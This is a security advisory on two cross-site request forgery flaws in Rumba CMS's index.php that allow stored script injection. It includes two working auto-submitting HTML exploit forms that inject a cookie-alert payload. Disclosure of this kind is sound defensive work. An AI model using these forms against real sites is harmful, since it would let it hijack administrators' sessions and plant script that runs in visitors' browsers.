Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Rumba CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Rumba CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and send certain information. Due to insufficient sanitation of input data in the "sendname" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="sendtags" value="cms" />
<input type="hidden" name="sendid" value="newtag" />
<input type="hidden" name="sendname" value='New tag"><script>alert(document.cookie)</script>' />
<input type="hidden" name="event" value="add_tag" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and send certain information. Due to insufficient sanitation of input data in the "rumba_desc" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php" method="post" name="main" >
<input type="hidden" name="sendid" value="rumba_id" />
<input type="hidden" name="sendtitl" value="rumba_titl" />
<input type="hidden" name="sendauthor" value="rumba_author" />
<input type="hidden" name="senddata" value="Sat, 14 Aug 2010 14:34:20" />
<input type="hidden" name="sendlost" value="0" />
<input type="hidden" name="senddesc" value='rumba_desc"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sendanons" value="rumba_anons" />
<input type="hidden" name="sendtext" value="rumba_text" />
<input type="hidden" name="sendtags" value="service" />
<input type="hidden" name="sendcomm" value="yes" />
<input type="hidden" name="add-end" value="begin" />
<input type="hidden" name="send_old_id" value="rumba_old_id" />
<input type="hidden" name="event" value="add_page" />
</form>
<script>
document.main.submit();
</script>
